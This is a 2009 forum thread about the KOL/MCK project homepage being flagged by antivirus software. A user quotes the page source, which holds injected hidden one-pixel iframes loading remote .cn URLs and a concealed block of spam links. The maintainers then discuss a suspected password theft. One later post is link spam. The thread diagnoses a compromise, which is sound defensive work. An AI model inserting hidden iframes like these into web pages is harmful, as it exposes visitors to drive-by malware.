PHP DM Gate v0.9 » KOL web sites errors?

Jon © (06.01.09 12:56) [0]

I am unable to access kolmck.net - I get the following message:

We are sorry, but the page http://kolmck.net/ has been blocked because
A virus (Exploit.HTML.IFrame-6) was found in the downloaded file.

The site kolnmck.ru also has a problem:

Unable to determine IP address from host name for kolnmck.ru
Name Error: The domain name does not exist.

<Цитата>
Danger © (06.01.09 17:06) [1]

It's accessible right now without any problem (I'm using spacegate satellite provider) but some time earlier I had troubles with them. Something strange happens here, it's too bad I think the kolnmck.ru is RIP (but anyway I can't stop believing that everything gonna be ok).

<Цитата>
Jon © (07.01.09 02:13) [2]

There is a problem with kolmck.net - look at the source of the homepage:

<html>
<head>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="ru" lang="ru" dir="ltr">
<link rel="Shortcut Icon" href="KOL_Project.gif">
<link rel="stylesheet" href="kolmck.css" type="text/css">
<title>KOL and MCK Web page</title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
</head>

<frameset FRAMEBORDER="0" FRAMESPACING="0" BORDER="0" cols="108,*">
<frameset FRAMEBORDER="0" FRAMESPACING="0" BORDER="0" rows="*,44">
<frame name="contents" scrolling="no" noresize target="main" src="e_nav.htm">
<frame name="count" scrolling="no" noresize src="counter.htm" target="main">

</frameset>
<frameset FRAMEBORDER="0" FRAMESPACING="0" BORDER="0" rows="44,*">
<frame name="banner" scrolling="no" noresize src="koltop.htm" target="contents">
<frame name="main" src="e_intro.htm" scrolling="auto" noresize target="main">
</frameset>
<noframes>
<body><iframe src="h**p://hugetopnonfat.cn/in.cgi?id1000" width=1 height=1 style="visibility: hidden"></iframe><iframe src="http://EducationBigTop.cn/in.cgi?id1000" width=1 height=1 style="visibility: hidden"></iframe><iframe src="h**p://BusinessNameShop.cn/in/" width=1 height=1 style="visibility: hidden"></iframe>
<p>This page uses frames, but your browser doesn't support them.</p>
<div style=display:none>
www.movie2b.com - Barack Obama's choice to download <a href="h**p://www.movie2b.com/" target="_blank">bootleg movies</a> ;-). <a href="h**p://inmyloans.com/" target="_blank">easy payday loan</a>. An affordable <a href="h**p://yourdissertation.com/" target="_blank">dissertation service</a>. <a href="h**p://earnathome.be" target="_blank">2008 Top 10 Work At Home!Top 10 Scam Free Work At Home Jobs.</a>. <a href="h**p://rardir.com" target="_blank">Rapidshare Search Engine</a>. <a href="h**p://www.payday-loans-advisor.com" target="_blank">At Payday-Loans-Advisor.com we make the payday lending process quick and easy.</a></div>
</body>
</noframes>
</frameset>

</html>

The bug is in <noframes> and needs to be fixed by Vladimir Kladov or Thaddy de Koning.

I hope that a mirror for kolnmck.ru is made available soon.

<Цитата>
Vladimir Kladov © (07.01.09 06:17) [3]

I removed it. Its strange but I did not insert this useless (in <noframes>!) advertisements by me: a source at my computer is clean. May be, Thaddy? But why - I don't know.

<Цитата>
D[u]fa (07.01.09 12:20) [4]

Владимир, сайт скорее всего взломали. Советую менять пароли

<Цитата>
Danger © (07.01.09 12:37) [5]

I assume that the bad guys (e.g. spammers) have stolen yours accounts password (or password of another account on the server), then they have modified your html-pages.

It's common tactics for spammers. Look at the weblink in the iframes, I don't believe that Thaddy may advertise phishing sites like that :LOL:

About the mirror... I have enough space on my server (located in the USA, TX), so I can organize an mirror of any KOL-related site. If you're interested in this, just let me know.

<Цитата>
samanta (19.09.09 17:14) [6]

fvrUkZ http://gok9ejqnFfglrk63mdg.org

<Цитата>
Thaddy © (08.10.09 13:00) [7]

I shall change the login. I didn't add this and the site seems otherwise uncompromized. Vladimir, can you access the logs? or should I scan them for strange logins?

<Цитата>
Vladimir Kladov © (11.10.09 12:42) [8]

Just seen this question (why not by mail? though I had some troubles this week with Internet, I therefore could read mails. Finally I changed provider and have now really fast connection, and now always on-line when not at work).

Yes, I see logs. And what to do with it?

<Цитата>